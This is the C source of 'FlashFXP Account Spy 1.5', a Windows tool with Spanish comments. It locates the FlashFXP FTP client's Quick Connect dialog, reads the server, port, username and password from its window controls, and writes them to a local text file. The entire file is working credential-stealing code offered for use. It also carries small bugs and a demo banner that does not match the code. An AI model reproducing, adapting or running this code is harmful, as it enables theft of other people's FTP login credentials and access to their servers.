/*
Nombre:     FlashFXP Account Spy 1.5
Archivo:    FlashFXP.Account.Spy.1.5.c
Probado en: FlashFXP 3.0.2 (build 1045)
Fecha:      12/04/2007
Coder: Lympex
Contact:
        + WebSite: https://l-bytes.tk
        + Mail:    lympex[at]elhacker[dot]net

[demo]
C:\FlashFXP.Account.Spy.1.2>FlashFXP.Account.Spy.1.2.exe

[+] FlashFXP Account Spy 1.2
[+] Tested on: FlashFXP 3.0.2 (build 1045)
[+] Coded by Lympex:
     + Lympex[at]Gmail[dot]Com
     + Http://L-Bytes.Tk
------------------------------------------

[+] Searching: Quick Connect ...OK
[+] Searching: General ...OK
[+] Writting data ...OK
    + Data written in: Datos.txt

C:\FlashFXP.Account.Spy.1.2>
[/demo]
*/

#include <stdio.h>
#include <string.h>
#include <stdbool.h>
#include <windows.h>
#include <Tlhelp32.h>

/*Para obtener el titulo de las ventanas*/
#define TAM      512
char Titulo[TAM];

/*Para saber si hemos encontrado la ventana principal y la subventana*/
bool VEncontrada=false;
bool PEncontrada=false;

/*Para saber si podemos leer los datos*/
bool Datos=false;
unsigned int c=0;

/*Para guardar los datos en el fichero*/
FILE *Login;
char Buff[512];

/*Fichero para volcar los datos*/
#define PATH     "Credenciales.txt"

/*Nombre del ejecutable del cliente FlashFXP*/
#define EXE_FTP    "flashfxp.exe"

/*Estructura del almacenamiento de las credenciales*/
struct Info
{
       char *Server;
       char *Port;
       char *User;
       char *Password;
}Credentials;

/*Nos dice si una ventana pertenece a un proceso*/
bool VentanaProceso(HWND hwnd, char *Nombre)
{
  DWORD       Pid;
  HANDLE       proc;
  MODULEENTRY32   datos;
  bool       Pertenece=false;
  
  //obtenemos el PID del proceso responsable de la ventana
  GetWindowThreadProcessId(hwnd,&Pid);
  
  //cargamos el proceso
  proc=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,Pid);//con posibilidad para acceder a todo
  if(proc!=INVALID_HANDLE_VALUE)
  {
    if(Module32First(proc,&datos)==true)
    {
      if(strcmp(Nombre,datos.szModule)==0)
      {
        Pertenece=true;
      }
    }
  }
  
  CloseHandle(proc);  
  return Pertenece==true?true:false;
}

/*Función para recorrer las subventanas de una ventana*/
BOOL CALLBACK EnumChildProc(HWND hwnd, DWORD lParam )
{
  char Clase[TAM];
  char NControl[TAM];
  int Tam_Texto=0;

  GetClassName(hwnd,Clase,TAM);
    Tam_Texto=SendMessage(hwnd,WM_GETTEXTLENGTH,0,0)+1;
    

    if(Tam_Texto>TAM)
  Tam_Texto=TAM;
  
    SendMessage(hwnd,WM_GETTEXT,TAM,(LPARAM)NControl);
    //printf("\n#Clase: %s\nContenido: %s#\n",Clase,NControl);

    //Si estamos en la subventana
    if(!strcmp(Clase,"TTabSheet") && !strcmp(NControl,"General"))
    {
    Datos=true;
    printf("OK\n[+] Obteniendo credenciales................");
  }

    if(Datos==true)//si estamos sobre alguno de los campos de las credenciales
    {
    PEncontrada=true;

    //miramos en qué campo estamos
    switch(c)
    {
      case 0:
        c++;
        break;
      
      case 1:
        Credentials.Server=(char*)malloc(strlen(NControl)*sizeof(char*));
        memset(Credentials.Server,0,sizeof(char*));
        strcpy(Credentials.Server,NControl);
        c++;
        break;
        
      case 2:
        Credentials.Password=(char*)malloc(strlen(NControl)*sizeof(char*));
        memset(Credentials.Password,0,sizeof(char*));
        strcpy(Credentials.Password,NControl);
        c++;
        break;
        
            case 3:
                 c++;
         break;
                 
            case 4:
                 Credentials.Port=(char*)malloc(strlen(NControl)*sizeof(char*));
                 memset(Credentials.Port,0,sizeof(char*));
                 strcpy(Credentials.Port,NControl);      
                 c++;
         break;
         
            case 5:
                 c++;
         break;
         
            case 6:
                 Credentials.User=(char*)malloc(strlen(NControl)*sizeof(char*));
                 memset(Credentials.User,0,sizeof(char*));
                 strcpy(Credentials.User,NControl);
                 printf("OK");
                 c++;
         break;
         
            //default:
              //   return false;                                 
        }                   
    }
  return true;
}

//Vamos recorriendo todas las ventanas activas
bool CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam)
{
  //si es la ventana de credenciales
  memset(Titulo,0,sizeof(char));
  if(GetWindowText(hwnd,Titulo,TAM)>0 && strstr(Titulo,"Quick Connect") && VentanaProceso(hwnd,EXE_FTP)==true)
  {
    VEncontrada=true;
    printf("OK\n[+] Buscando \"General\".....................");
    //recorremos los objetos
    EnumChildWindows(hwnd,(WNDENUMPROC)EnumChildProc,0);
     }
     
     return true;
}

void Banner()
{
     printf("\n[+] FlashFXP Account Spy 1.5");
     printf("\n[+] Probado en: FlashFXP 3.0.2 (build 1045)");
     printf("\n[+] Coded by Lympex:");
     printf("\n     + Lympex[at]elhacker[dot]Net");
     printf("\n     + Http://L-Bytes.Tk");
     printf("\n-------------------------------------------\n");
     return;
}

int main(int argc, char *argv[])
{
  Banner();
  
/*  if((Login=fopen(PATH,"at"))==NULL)
    {
    printf("\n    - Error. No se puede acceder al fichero: %s\n",PATH);
  }else{*/
    printf("\n[+] Buscando ventana \"Quick Connect\".......");
    EnumWindows((WNDENUMPROC)EnumWindowsProc,0);

    /*Mira si hemos encontrado la ventana*/
    if(VEncontrada==false)
    {
    printf("ERROR\n    - Ventana no encontrada\n");
    fclose(Login);
    }else if(PEncontrada==false){
    printf("ERROR\n    - Ventana no encontrada\n");
    fclose(Login);

    }else{
    if((Login=fopen(PATH,"at"))==NULL)
    {
      printf("\n    - Error. No se puede acceder al fichero: %s\n",PATH);
    }else{
      printf("\n[+] Guardando datos en \"%s\"..",PATH);
        fprintf(Login,"\n####################################");
        fprintf(Login,"\nServidor:    %s",Credentials.Server);
        fprintf(Login,"\nPuerto:      %s",Credentials.Port);
        fprintf(Login,"\nUsuario:     %s",Credentials.User);
        fprintf(Login,"\nPassword:    %s",Credentials.Password);
        fprintf(Login,"\n####################################\n"); 
        printf("OK");
        fclose(Login);
        printf("\n[+] Datos guardados!\n");
    }
  }
  
  puts("");
  system("pause");
    return 0;
}